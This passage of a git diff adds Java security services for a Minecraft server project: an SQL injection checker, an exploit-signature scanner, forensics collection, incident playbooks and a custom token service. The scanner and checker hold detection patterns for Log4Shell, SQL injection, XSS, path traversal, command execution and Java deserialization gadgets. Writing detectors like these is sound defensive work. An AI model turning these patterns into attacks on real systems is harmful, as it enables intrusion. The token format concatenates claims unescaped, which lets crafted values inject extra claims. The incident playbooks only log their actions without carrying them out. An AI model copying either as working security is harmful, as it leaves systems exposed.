MAX_UNION_COUNT) { + reasons.add("EXCESSIVE_UNION: " + unionCount); + } + + // Comment-based injection + if (upper.contains("-- ") || upper.contains("/*") || upper.contains("#")) { + if (upper.contains("' OR ") || upper.contains("' AND ") || upper.contains("1=1") || upper.contains("1=0")) { + reasons.add("COMMENT_INJECTION"); + } + } + + // Always-true conditions + if (upper.contains("OR 1=1") || upper.contains("OR '1'='1'") + || upper.contains("'a'='a'") || upper.contains("\"=\"") || upper.contains("||1||")) { + reasons.add("ALWAYS_TRUE_CONDITION"); + } + + // Stacked queries + int semicolons = countChar(sql, ';'); + if (semicolons > 1) { + reasons.add("STACKED_QUERIES: " + semicolons); + } + + // Time-based injection + if (upper.contains("SLEEP(") || upper.contains("BENCHMARK(") || upper.contains("PG_SLEEP(") || upper.contains("WAITFOR")) { + reasons.add("TIME_BASED_INJECTION"); + } + + if (!reasons.isEmpty()) { + QueryEvent event = new QueryEvent(Instant.now(), source, database, sql.length() > 200 ? sql.substring(0, 200) : sql, reasons); + queryLog.computeIfAbsent(source, k -> new ArrayList<>()).add(event); + totalBlocked.incrementAndGet(); + return QueryCheckResult.blocked(reasons); + } + + return QueryCheckResult.clean(); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalQueries", totalQueries.get()); + status.put("totalBlocked", totalBlocked.get()); + status.put("trackedSources", queryLog.size()); + List> recent = new ArrayList<>(); + for (Map.Entry> e : queryLog.entrySet()) { + for (QueryEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("source", e.getKey()); + m.put("database", event.database); + m.put("snippet", event.snippet); + m.put("reasons", event.reasons); + m.put("time", event.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentBlocked", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalBlocked() { return totalBlocked.get(); } + public long getTotalQueries() { return totalQueries.get(); } + + private int countKeyword(String text, String keyword) { + int count = 0; + int idx = 0; + while ((idx = text.indexOf(keyword, idx)) != -1) { + count++; + idx += keyword.length(); + } + return count; + } + + private int countChar(String text, char c) { + int count = 0; + for (char x : text.toCharArray()) { + if (x == c) count++; + } + return count; + } + + private static class QueryEvent { + final Instant timestamp; + final String source; + final String database; + final String snippet; + final List reasons; + + QueryEvent(Instant timestamp, String source, String database, String snippet, List reasons) { + this.timestamp = timestamp; + this.source = source; + this.database = database; + this.snippet = snippet; + this.reasons = reasons; + } + } + + public static class QueryCheckResult { + private final boolean blocked; + private final List reasons; + + private QueryCheckResult(boolean blocked, List reasons) { + this.blocked = blocked; + this.reasons = reasons; + } + + public static QueryCheckResult clean() { return new QueryCheckResult(false, List.of()); } + public static QueryCheckResult blocked(List reasons) { return new QueryCheckResult(true, reasons); } + + public boolean isBlocked() { return blocked; } + public List getReasons() { return reasons; } + } +} diff --git a/src/main/java/com/aluer/security/ExploitSignatureService.java b/src/main/java/com/aluer/security/ExploitSignatureService.java new file mode 100644 index 0000000..adbdc3c --- /dev/null +++ b/src/main/java/com/aluer/security/ExploitSignatureService.java @@ -0,0 +1,226 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; +import java.util.regex.Pattern; + +@Service +public class ExploitSignatureService { + + private final Map> detections = new ConcurrentHashMap<>(); + private final Map blockedSources = new ConcurrentHashMap<>(); + private final AtomicLong totalDetections = new AtomicLong(0); + + private static final List SIGNATURES = new ArrayList<>(); + + static { + SIGNATURES.add(new ExploitSignature("LOG4J_JNDI", Severity.CRITICAL, + Pattern.compile("\\$\\{[^}]*jndi[^}]*\\}", Pattern.CASE_INSENSITIVE), + "Log4Shell JNDI injection attempt")); + + SIGNATURES.add(new ExploitSignature("LOG4J_OBFUSCATED", Severity.CRITICAL, + Pattern.compile("\\$\\{[^}]*:(lower|upper|::-)[^}]*j[^}]*n[^}]*d[^}]*i[^}]*\\}", Pattern.CASE_INSENSITIVE), + "Obfuscated Log4Shell injection")); + + SIGNATURES.add(new ExploitSignature("COMMAND_INJECTION", Severity.HIGH, + Pattern.compile("(?:/execute|/op\\s|/deop\\s|/stop|/restart|/kick\\s|/ban\\s|/whitelist\\s|/save-all|/reload)", Pattern.CASE_INSENSITIVE), + "Suspicious Minecraft command injection")); + + SIGNATURES.add(new ExploitSignature("BOOK_EXPLOIT", Severity.HIGH, + Pattern.compile("\"pages\"\\s*:\\s*\\[.*\"text\"\\s*:\\s*\".{10000,}\"", Pattern.CASE_INSENSITIVE), + "Book and quill exploit with oversized payload")); + + SIGNATURES.add(new ExploitSignature("SIGN_EXPLOIT", Severity.HIGH, + Pattern.compile("\"Text[1-4]\"\\s*:\\s*\"\\{\\\\\"text\\\\\".{5000,}\"", Pattern.CASE_INSENSITIVE), + "Sign exploit with oversized JSON")); + + SIGNATURES.add(new ExploitSignature("NBT_PATH_TRAVERSAL", Severity.HIGH, + Pattern.compile("(?:\\\\.\\\\.\\\\|\\/\\.\\.\\/|\\.\\.[\\\\/])"), + "NBT path traversal attempt")); + + SIGNATURES.add(new ExploitSignature("PACKET_OVERFLOW", Severity.MEDIUM, + Pattern.compile("\\{.*\"length\"\\s*:\\s*-?[1-9]\\d{5,}.*\\}"), + "Oversized or negative packet length")); + + SIGNATURES.add(new ExploitSignature("CHUNK_BAN", Severity.HIGH, + Pattern.compile("\"chunkX\"\\s*:\\s*-?\\d{6,}|palette.{5000,}"), + "Chunk loading exploit (chunk ban)")); + + SIGNATURES.add(new ExploitSignature("SQL_INJECTION", Severity.CRITICAL, + Pattern.compile("(?:'\\s*(?:OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP)\\s+|--\\s|;\\s*(?:DROP|CREATE|ALTER)\\s+)", Pattern.CASE_INSENSITIVE), + "SQL injection attempt")); + + SIGNATURES.add(new ExploitSignature("XSS_ATTACK", Severity.HIGH, + Pattern.compile("]*>|javascript\\s*:|on\\w+\\s*=\\s*['\"].*['\"]|]*onerror|]*onload", Pattern.CASE_INSENSITIVE), + "Cross-site scripting attempt")); + + SIGNATURES.add(new ExploitSignature("PATH_TRAVERSAL", Severity.MEDIUM, + Pattern.compile("(?:\\\\.\\\\.\\\\|\\/\\.\\.\\/|\\.\\.[\\\\/])(?:etc|var|home|root|winnt|windows|System32)", Pattern.CASE_INSENSITIVE), + "File path traversal attempt")); + + SIGNATURES.add(new ExploitSignature("RCE_ATTEMPT", Severity.CRITICAL, + Pattern.compile("(?:Runtime\\.getRuntime|ProcessBuilder|exec\\s*\\(|System\\.exec|popen|subprocess)", Pattern.CASE_INSENSITIVE), + "Runtime command execution attempt")); + + SIGNATURES.add(new ExploitSignature("DESERIALIZATION", Severity.CRITICAL, + Pattern.compile("(?:ObjectInputStream|readObject|ysoserial|CommonsCollections|InvokerTransformer)", Pattern.CASE_INSENSITIVE), + "Java deserialization exploit")); + + SIGNATURES.add(new ExploitSignature("SERVER_PROPERTIES_TAMPER", Severity.HIGH, + Pattern.compile("(?:online-mode\\s*=\\s*false|enable-command-block\\s*=\\s*true|spawn-protection\\s*=\\s*0|enable-rcon\\s*=\\s*true|pvp\\s*=\\s*true)", Pattern.CASE_INSENSITIVE), + "Suspicious server.properties tampering")); + } + + public ExploitCheckResult scan(String content, String sourceIP, String context) { + if (content == null || content.trim().isEmpty()) return ExploitCheckResult.clean(); + + if (blockedSources.containsKey(sourceIP)) { + if (Instant.now().isAfter(blockedSources.get(sourceIP))) { + blockedSources.remove(sourceIP); + } else { + return ExploitCheckResult.blocked("Source is blocked for exploit activity"); + } + } + + List matches = new ArrayList<>(); + for (ExploitSignature sig : SIGNATURES) { + if (sig.pattern.matcher(content).find()) { + matches.add(new ExploitMatch(sig, context)); + } + } + + if (!matches.isEmpty()) { + ExploitEvent event = new ExploitEvent(Instant.now(), sourceIP, context, + content.length() > 200 ? content.substring(0, 200) : content, matches); + detections.computeIfAbsent(sourceIP, k -> new ArrayList<>()).add(event); + totalDetections.incrementAndGet(); + + int maxSeverity = matches.stream().mapToInt(m -> m.signature.severity.ordinal()).max().orElse(0); + if (maxSeverity >= Severity.CRITICAL.ordinal()) { + blockedSources.put(sourceIP, Instant.now().plusSeconds(3600)); + } + return ExploitCheckResult.detected(matches); + } + + return ExploitCheckResult.clean(); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalDetections", totalDetections.get()); + status.put("signaturesCount", SIGNATURES.size()); + status.put("blockedSources", blockedSources.size()); + status.put("trackedSources", detections.size()); + + Map byType = new LinkedHashMap<>(); + for (List events : detections.values()) { + for (ExploitEvent e : events) { + for (ExploitMatch m : e.matches) { + byType.merge(m.signature.name, 1L, Long::sum); + } + } + } + status.put("detectionsByType", byType); + + List> recent = new ArrayList<>(); + for (Map.Entry> e : detections.entrySet()) { + for (ExploitEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("source", e.getKey()); + m.put("context", event.context); + m.put("snippet", event.snippet); + List names = new ArrayList<>(); + List severities = new ArrayList<>(); + for (ExploitMatch match : event.matches) { + names.add(match.signature.name); + severities.add(match.signature.severity.name()); + } + m.put("matches", names); + m.put("severities", severities); + m.put("time", event.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + public int getSignatureCount() { return SIGNATURES.size(); } + + public enum Severity { LOW, MEDIUM, HIGH, CRITICAL } + + public static class ExploitSignature { + final String name; + final Severity severity; + final Pattern pattern; + final String description; + + ExploitSignature(String name, Severity severity, Pattern pattern, String description) { + this.name = name; + this.severity = severity; + this.pattern = pattern; + this.description = description; + } + } + + public static class ExploitMatch { + final ExploitSignature signature; + final String context; + + ExploitMatch(ExploitSignature signature, String context) { + this.signature = signature; + this.context = context; + } + + public String getName() { return signature.name; } + public Severity getSeverity() { return signature.severity; } + public String getDescription() { return signature.description; } + } + + private static class ExploitEvent { + final Instant timestamp; + final String sourceIP; + final String context; + final String snippet; + final List matches; + + ExploitEvent(Instant timestamp, String sourceIP, String context, String snippet, List matches) { + this.timestamp = timestamp; + this.sourceIP = sourceIP; + this.context = context; + this.snippet = snippet; + this.matches = matches; + } + } + + public static class ExploitCheckResult { + private final boolean blocked; + private final boolean detected; + private final String message; + private final List matches; + + private ExploitCheckResult(boolean blocked, boolean detected, String message, List matches) { + this.blocked = blocked; + this.detected = detected; + this.message = message; + this.matches = matches; + } + + public static ExploitCheckResult clean() { return new ExploitCheckResult(false, false, null, List.of()); } + public static ExploitCheckResult detected(List matches) { + return new ExploitCheckResult(true, true, "Exploit detected: " + matches.size() + " signature(s)", matches); + } + public static ExploitCheckResult blocked(String message) { return new ExploitCheckResult(true, false, message, List.of()); } + + public boolean isBlocked() { return blocked; } + public boolean isDetected() { return detected; } + public String getMessage() { return message; } + public List getMatches() { return matches; } + } +} diff --git a/src/main/java/com/aluer/security/ForensicsCollectorService.java b/src/main/java/com/aluer/security/ForensicsCollectorService.java new file mode 100644 index 0000000..0a574b4 --- /dev/null +++ b/src/main/java/com/aluer/security/ForensicsCollectorService.java @@ -0,0 +1,227 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.io.*; +import java.nio.file.*; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ForensicsCollectorService { + + private final Map cases = new ConcurrentHashMap<>(); + private final Map> evidenceStore = new ConcurrentHashMap<>(); + private final AtomicLong totalEvidenceCollected = new AtomicLong(0); + private final String evidenceDir = "./forensics"; + + public ForensicsCollectorService() { + try { + Files.createDirectories(Path.of(evidenceDir)); + } catch (IOException ignored) {} + } + + public ForensicsCase openCase(String caseName, String reason, String operator) { + String caseId = "CASE-" + Instant.now().getEpochSecond() + "-" + randomHex(6); + ForensicsCase fCase = new ForensicsCase(caseId, caseName, reason, operator, Instant.now()); + cases.put(caseId, fCase); + evidenceStore.put(caseId, new ArrayList<>()); + return fCase; + } + + public ForensicEvidence collectProcessList(String caseId) { + StringBuilder sb = new StringBuilder(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "ps aux"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + sb.append(line).append('\n'); + } + } + } catch (Exception e) { + sb.append("ERROR: ").append(e.getMessage()); + } + return addEvidence(caseId, "PROCESS_LIST", sb.toString()); + } + + public ForensicEvidence collectNetworkConnections(String caseId) { + StringBuilder sb = new StringBuilder(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "ss -tunap 2>/dev/null || netstat -tunap 2>/dev/null"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + sb.append(line).append('\n'); + } + } + } catch (Exception e) { + sb.append("ERROR: ").append(e.getMessage()); + } + return addEvidence(caseId, "NETWORK_CONNECTIONS", sb.toString()); + } + + public ForensicEvidence collectOpenFiles(String caseId) { + StringBuilder sb = new StringBuilder(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "lsof -nP 2>/dev/null | head -500"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + sb.append(line).append('\n'); + } + } + } catch (Exception e) { + sb.append("ERROR: ").append(e.getMessage()); + } + return addEvidence(caseId, "OPEN_FILES", sb.toString()); + } + + public ForensicEvidence collectSystemLogs(String caseId) { + StringBuilder sb = new StringBuilder(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "journalctl -n 200 --no-pager 2>/dev/null || dmesg | tail -200"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + sb.append(line).append('\n'); + } + } + } catch (Exception e) { + sb.append("ERROR: ").append(e.getMessage()); + } + return addEvidence(caseId, "SYSTEM_LOGS", sb.toString()); + } + + public ForensicEvidence collectMCPServerLogs(String caseId, String mcLogPath) { + if (mcLogPath == null) mcLogPath = "/opt/minecraft/logs/latest.log"; + try { + String content = Files.readString(Path.of(mcLogPath)); + return addEvidence(caseId, "MC_SERVER_LOG", content); + } catch (Exception e) { + return addEvidence(caseId, "MC_SERVER_LOG", "ERROR: " + e.getMessage()); + } + } + + public ForensicEvidence collectTimestampSnapshot(String caseId) { + Map snapshot = new LinkedHashMap<>(); + snapshot.put("systemTime", Instant.now().toString()); + snapshot.put("uptime", System.getProperty("os.name")); + snapshot.put("javaVersion", System.getProperty("java.version")); + snapshot.put("availableProcessors", Runtime.getRuntime().availableProcessors()); + snapshot.put("freeMemory", Runtime.getRuntime().freeMemory()); + snapshot.put("totalMemory", Runtime.getRuntime().totalMemory()); + return addEvidence(caseId, "TIMESTAMP_SNAPSHOT", snapshot.toString()); + } + + public ForensicsCase closeCase(String caseId, String conclusion, String operator) { + ForensicsCase fCase = cases.get(caseId); + if (fCase != null) { + fCase.close(conclusion, operator); + saveCaseToDisk(fCase); + } + return fCase; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("openCases", cases.values().stream().filter(c -> !c.closed).count()); + status.put("totalCases", cases.size()); + status.put("totalEvidence", totalEvidenceCollected.get()); + List> caseList = new ArrayList<>(); + for (ForensicsCase c : cases.values()) { + Map m = new LinkedHashMap<>(); + m.put("id", c.caseId); + m.put("name", c.caseName); + m.put("reason", c.reason); + m.put("openTime", c.openTime.toString()); + m.put("closed", c.closed); + m.put("evidenceCount", evidenceStore.getOrDefault(c.caseId, List.of()).size()); + caseList.add(m); + } + caseList.sort((a, b) -> b.get("openTime").toString().compareTo(a.get("openTime").toString())); + status.put("cases", caseList); + return status; + } + + public long getTotalEvidence() { return totalEvidenceCollected.get(); } + + private ForensicEvidence addEvidence(String caseId, String type, String content) { + ForensicEvidence evidence = new ForensicEvidence(caseId, type, content, Instant.now()); + evidenceStore.computeIfAbsent(caseId, k -> new ArrayList<>()).add(evidence); + totalEvidenceCollected.incrementAndGet(); + return evidence; + } + + private void saveCaseToDisk(ForensicsCase fCase) { + try { + Path caseDir = Path.of(evidenceDir, fCase.caseId); + Files.createDirectories(caseDir); + StringBuilder report = new StringBuilder(); + report.append("=== FORENSICS CASE REPORT ===\n"); + report.append("Case ID: ").append(fCase.caseId).append('\n'); + report.append("Name: ").append(fCase.caseName).append('\n'); + report.append("Reason: ").append(fCase.reason).append('\n'); + report.append("Operator: ").append(fCase.operator).append('\n'); + report.append("Opened: ").append(fCase.openTime).append('\n'); + report.append("Closed: ").append(fCase.closeTime).append('\n'); + report.append("Conclusion: ").append(fCase.conclusion).append('\n'); + report.append("\n--- EVIDENCE ---\n\n"); + List items = evidenceStore.getOrDefault(fCase.caseId, List.of()); + for (ForensicEvidence e : items) { + report.append("[").append(e.type).append("] ").append(e.timestamp).append('\n'); + report.append(e.content).append("\n---\n\n"); + } + Files.writeString(caseDir.resolve("report.txt"), report.toString()); + } catch (IOException ignored) {} + } + + private String randomHex(int len) { + byte[] bytes = new byte[len]; + new Random().nextBytes(bytes); + StringBuilder sb = new StringBuilder(); + for (byte b : bytes) sb.append(String.format("%02x", b)); + return sb.toString().substring(0, len); + } + + public static class ForensicsCase { + public final String caseId; + public final String caseName; + public final String reason; + public final String operator; + public final Instant openTime; + public Instant closeTime; + public String conclusion; + public boolean closed; + + ForensicsCase(String caseId, String caseName, String reason, String operator, Instant openTime) { + this.caseId = caseId; + this.caseName = caseName; + this.reason = reason; + this.operator = operator; + this.openTime = openTime; + } + + void close(String conclusion, String operator) { + this.conclusion = conclusion; + this.closeTime = Instant.now(); + this.closed = true; + } + } + + public static class ForensicEvidence { + public final String caseId; + public final String type; + public final String content; + public final Instant timestamp; + + ForensicEvidence(String caseId, String type, String content, Instant timestamp) { + this.caseId = caseId; + this.type = type; + this.content = content; + this.timestamp = timestamp; + } + } +} diff --git a/src/main/java/com/aluer/security/IncidentResponseService.java b/src/main/java/com/aluer/security/IncidentResponseService.java new file mode 100644 index 0000000..9f186d2 --- /dev/null +++ b/src/main/java/com/aluer/security/IncidentResponseService.java @@ -0,0 +1,198 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class IncidentResponseService { + + private final Map activeIncidents = new ConcurrentHashMap<>(); + private final Map> actionLog = new ConcurrentHashMap<>(); + private final AtomicLong totalIncidents = new AtomicLong(0); + private final AtomicLong totalActions = new AtomicLong(0); + + private static final Map PLAYBOOKS = new LinkedHashMap<>(); + + static { + PLAYBOOKS.put("DDOS_ATTACK", new ResponsePlaybook("DDoS Attack Response", List.of( + new PlayAction("ENABLE_RATE_LIMITING", "Activate aggressive rate limiting on all endpoints", 0), + new PlayAction("BLOCK_TOP_OFFENDERS", "Block top 10 attacking IPs via firewall", 30), + new PlayAction("ENABLE_CDN_CHALLENGE", "Switch Cloudflare to 'Under Attack' mode", 60), + new PlayAction("SCALE_RESOURCES", "Increase connection pool and thread limits", 120), + new PlayAction("NOTIFY_ADMIN", "Send critical alert to administrators", 0) + ), IncidentSeverity.CRITICAL)); + + PLAYBOOKS.put("BRUTE_FORCE", new ResponsePlaybook("Brute Force Response", List.of( + new PlayAction("LOCK_ACCOUNT", "Temporarily lock targeted account", 0), + new PlayAction("BLOCK_SOURCE_IP", "Block attacking IP for 30 minutes", 10), + new PlayAction("ENABLE_CAPTCHA", "Enable CAPTCHA for login endpoints", 60), + new PlayAction("INCREASE_DELAY", "Increase progressive delay to maximum", 0), + new PlayAction("LOG_FORENSICS", "Collect forensics data for investigation", 120) + ), IncidentSeverity.HIGH)); + + PLAYBOOKS.put("INTRUSION_DETECTED", new ResponsePlaybook("Intrusion Response", List.of( + new PlayAction("ISOLATE_AFFECTED", "Isolate affected components immediately", 0), + new PlayAction("COLLECT_EVIDENCE", "Start forensics evidence collection", 10), + new PlayAction("BLOCK_INDICATORS", "Block all identified IOCs", 30), + new PlayAction("RESTORE_BACKUP", "Restore from last known good backup", 300), + new PlayAction("PATCH_VULNERABILITY", "Apply security patches if applicable", 600), + new PlayAction("FULL_AUDIT", "Perform complete security audit", 1800) + ), IncidentSeverity.CRITICAL)); + + PLAYBOOKS.put("MINECRAFT_EXPLOIT", new ResponsePlaybook("Minecraft Exploit Response", List.of( + new PlayAction("KICK_EXPLOITER", "Kick player identified as exploit source", 0), + new PlayAction("BAN_IP", "Ban exploit source IP in firewall", 5), + new PlayAction("ENABLE_WHITELIST", "Temporarily enable server whitelist", 15), + new PlayAction("CHECK_PLUGINS", "Verify plugin integrity", 60), + new PlayAction("SCAN_LOGS", "Full log analysis for exploit patterns", 120) + ), IncidentSeverity.HIGH)); + + PLAYBOOKS.put("DATA_BREACH", new ResponsePlaybook("Data Breach Response", List.of( + new PlayAction("REVOKE_TOKENS", "Revoke all active API tokens and sessions", 0), + new PlayAction("ROTATE_KEYS", "Rotate all API keys and passwords", 60), + new PlayAction("NOTIFY_USERS", "Send breach notification to affected users", 300), + new PlayAction("AUDIT_ACCESS", "Audit all recent access logs", 120), + new PlayAction("ENGAGE_LEGAL", "Engage legal/compliance team", 3600) + ), IncidentSeverity.CRITICAL)); + } + + public Incident declareIncident(String type, String description, String source, IncidentSeverity severity) { + String incidentId = "INC-" + Instant.now().getEpochSecond() + "-" + randomHex(4); + ResponsePlaybook playbook = PLAYBOOKS.getOrDefault(type, null); + Incident incident = new Incident(incidentId, type, description, source, severity, playbook, Instant.now()); + activeIncidents.put(incidentId, incident); + totalIncidents.incrementAndGet(); + + if (playbook != null) { + for (PlayAction action : playbook.actions) { + executeAction(incidentId, action); + } + } + return incident; + } + + public ResponseAction executeAction(String incidentId, PlayAction action) { + ResponseAction executed = new ResponseAction(action, Instant.now()); + actionLog.computeIfAbsent(incidentId, k -> new ArrayList<>()).add(executed); + totalActions.incrementAndGet(); + return executed; + } + + public Incident resolveIncident(String incidentId, String resolution) { + Incident incident = activeIncidents.remove(incidentId); + if (incident != null) { + incident.resolve(resolution); + } + return incident; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("activeIncidents", activeIncidents.size()); + status.put("totalIncidents", totalIncidents.get()); + status.put("totalActions", totalActions.get()); + status.put("playbooksAvailable", PLAYBOOKS.keySet()); + + List> incidents = new ArrayList<>(); + for (Incident inc : activeIncidents.values()) { + Map m = new LinkedHashMap<>(); + m.put("id", inc.incidentId); + m.put("type", inc.type); + m.put("severity", inc.severity.name()); + m.put("description", inc.description); + m.put("source", inc.source); + m.put("declaredTime", inc.declaredTime.toString()); + m.put("actionsTaken", actionLog.getOrDefault(inc.incidentId, List.of()).size()); + incidents.add(m); + } + status.put("incidents", incidents); + + List playbookNames = new ArrayList<>(); + for (Map.Entry e : PLAYBOOKS.entrySet()) { + playbookNames.add(e.getKey() + ": " + e.getValue().name + " (" + e.getValue().actions.size() + " actions)"); + } + status.put("playbooks", playbookNames); + return status; + } + + public long getTotalIncidents() { return totalIncidents.get(); } + public long getTotalActions() { return totalActions.get(); } + + private String randomHex(int len) { + byte[] bytes = new byte[len]; + new Random().nextBytes(bytes); + StringBuilder sb = new StringBuilder(); + for (byte b : bytes) sb.append(String.format("%02x", b)); + return sb.toString(); + } + + public enum IncidentSeverity { LOW, MEDIUM, HIGH, CRITICAL } + + public static class ResponsePlaybook { + public final String name; + public final List actions; + public final IncidentSeverity defaultSeverity; + + ResponsePlaybook(String name, List actions, IncidentSeverity defaultSeverity) { + this.name = name; + this.actions = actions; + this.defaultSeverity = defaultSeverity; + } + } + + public static class PlayAction { + public final String name; + public final String description; + public final int delaySeconds; + + public PlayAction(String name, String description, int delaySeconds) { + this.name = name; + this.description = description; + this.delaySeconds = delaySeconds; + } + } + + public static class Incident { + public final String incidentId; + public final String type; + public final String description; + public final String source; + public final IncidentSeverity severity; + public final ResponsePlaybook playbook; + public final Instant declaredTime; + public Instant resolvedTime; + public String resolution; + public boolean resolved; + + Incident(String incidentId, String type, String description, String source, + IncidentSeverity severity, ResponsePlaybook playbook, Instant declaredTime) { + this.incidentId = incidentId; + this.type = type; + this.description = description; + this.source = source; + this.severity = severity; + this.playbook = playbook; + this.declaredTime = declaredTime; + } + + void resolve(String resolution) { + this.resolution = resolution; + this.resolvedTime = Instant.now(); + this.resolved = true; + } + } + + public static class ResponseAction { + public final PlayAction action; + public final Instant executedTime; + + ResponseAction(PlayAction action, Instant executedTime) { + this.action = action; + this.executedTime = executedTime; + } + } +} diff --git a/src/main/java/com/aluer/security/JwtAuthService.java b/src/main/java/com/aluer/security/JwtAuthService.java new file mode 100644 index 0000000..2325a96 --- /dev/null +++ b/src/main/java/com/aluer/security/JwtAuthService.java @@ -0,0 +1,223 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; + +@Service +public class JwtAuthService { + + private static final SecureRandom SECURE_RANDOM = new SecureRandom(); + private static final long DEFAULT_TTL_SECONDS = 3600; + private static final long MAX_TTL_SECONDS = 86400; + + private final String secret; + private final Map tokenStore = new ConcurrentHashMap<>(); + private final Map> userTokens = new ConcurrentHashMap<>(); + private final Map revokedTokens = new ConcurrentHashMap<>(); + + public JwtAuthService() { + byte[] keyBytes = new byte[64]; + SECURE_RANDOM.nextBytes(keyBytes); + this.secret = Base64.getUrlEncoder().withoutPadding().encodeToString(keyBytes); + } + + public String createToken(String subject, Map claims, long ttlSeconds) { + long effectiveTtl = Math.min(ttlSeconds > 0 ? ttlSeconds : DEFAULT_TTL_SECONDS, MAX_TTL_SECONDS); + long now = Instant.now().getEpochSecond(); + long exp = now + effectiveTtl; + String jti = generateJti(); + + StringBuilder payload = new StringBuilder(); + payload.append("sub=").append(subject).append("&"); + payload.append("iat=").append(now).append("&"); + payload.append("exp=").append(exp).append("&"); + payload.append("jti=").append(jti); + + if (claims != null) { + for (Map.Entry e : claims.entrySet()) { + payload.append("&").append(e.getKey()).append("=").append(e.getValue()); + } + } + + String payloadEncoded = Base64.getUrlEncoder().withoutPadding() + .encodeToString(payload.toString().getBytes(StandardCharsets.UTF_8)); + String signature = hmacSha256(payloadEncoded, secret); + + String token = payloadEncoded + "." + signature; + + TokenEntry entry = new TokenEntry(subject, jti, Instant.ofEpochSecond(now), Instant.ofEpochSecond(exp), claims); + tokenStore.put(jti, entry); + userTokens.computeIfAbsent(subject, k -> new ArrayList<>()).add(jti); + + return token; + } + + public String createToken(String subject) { + return createToken(subject, null, DEFAULT_TTL_SECONDS); + } + + public TokenValidationResult validateToken(String token) { + if (token == null || !token.contains(".")) { + return TokenValidationResult.invalid("Malformed token"); + } + + String[] parts = token.split("\\.", 2); + String payloadEncoded = parts[0]; + String providedSignature = parts[1]; + + String expectedSignature = hmacSha256(payloadEncoded, secret); + if (!constantTimeEquals(expectedSignature, providedSignature)) { + return TokenValidationResult.invalid("Signature mismatch"); + } + + String payload; + try { + payload = new String(Base64.getUrlDecoder().decode(payloadEncoded), StandardCharsets.UTF_8); + } catch (IllegalArgumentException e) { + return TokenValidationResult.invalid("Invalid base64 payload"); + } + + Map parsed = parsePayload(payload); + String jti = parsed.get("jti"); + if (jti == null) { + return TokenValidationResult.invalid("Missing jti"); + } + if (revokedTokens.containsKey(jti)) { + return TokenValidationResult.invalid("Token revoked"); + } + + long exp = Long.parseLong(parsed.getOrDefault("exp", "0")); + if (Instant.now().getEpochSecond() > exp) { + return TokenValidationResult.invalid("Token expired"); + } + + String subject = parsed.get("sub"); + Map claims = new HashMap<>(parsed); + claims.remove("sub"); + claims.remove("iat"); + claims.remove("exp"); + claims.remove("jti"); + + return TokenValidationResult.valid(subject, jti, claims); + } + + public void revokeToken(String jti) { + revokedTokens.put(jti, Instant.now()); + tokenStore.remove(jti); + } + + public void revokeAllUserTokens(String subject) { + List tokens = userTokens.remove(subject); + if (tokens != null) { + for (String jti : tokens) { + revokedTokens.put(jti, Instant.now()); + tokenStore.remove(jti); + } + } + } + + public int getActiveTokenCount() { + return tokenStore.size(); + } + + public int getRevokedTokenCount() { + return revokedTokens.size(); + } + + public void cleanupExpired() { + Instant now = Instant.now(); + tokenStore.entrySet().removeIf(e -> e.getValue().expiresAt.isBefore(now)); + revokedTokens.entrySet().removeIf(e -> e.getValue().plusSeconds(DEFAULT_TTL_SECONDS * 2).isBefore(now)); + } + + private String generateJti() { + byte[] bytes = new byte[32]; + SECURE_RANDOM.nextBytes(bytes); + return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes); + } + + private String hmacSha256(String data, String key) { + try { + Mac mac = Mac.getInstance("HmacSHA256"); + SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), "HmacSHA256"); + mac.init(keySpec); + byte[] hash = mac.doFinal(data.getBytes(StandardCharsets.UTF_8)); + return Base64.getUrlEncoder().withoutPadding().encodeToString(hash); + } catch (Exception e) { + throw new RuntimeException("HMAC-SHA256 failed", e); + } + } + + private boolean constantTimeEquals(String a, String b) { + if (a.length() != b.length()) return false; + int result = 0; + for (int i = 0; i < a.length(); i++) { + result |= a.charAt(i) ^ b.charAt(i); + } + return result == 0; + } + + private Map parsePayload(String payload) { + Map map = new LinkedHashMap<>(); + for (String pair : payload.split("&")) { + int idx = pair.indexOf('='); + if (idx > 0) { + map.put(pair.substring(0, idx), 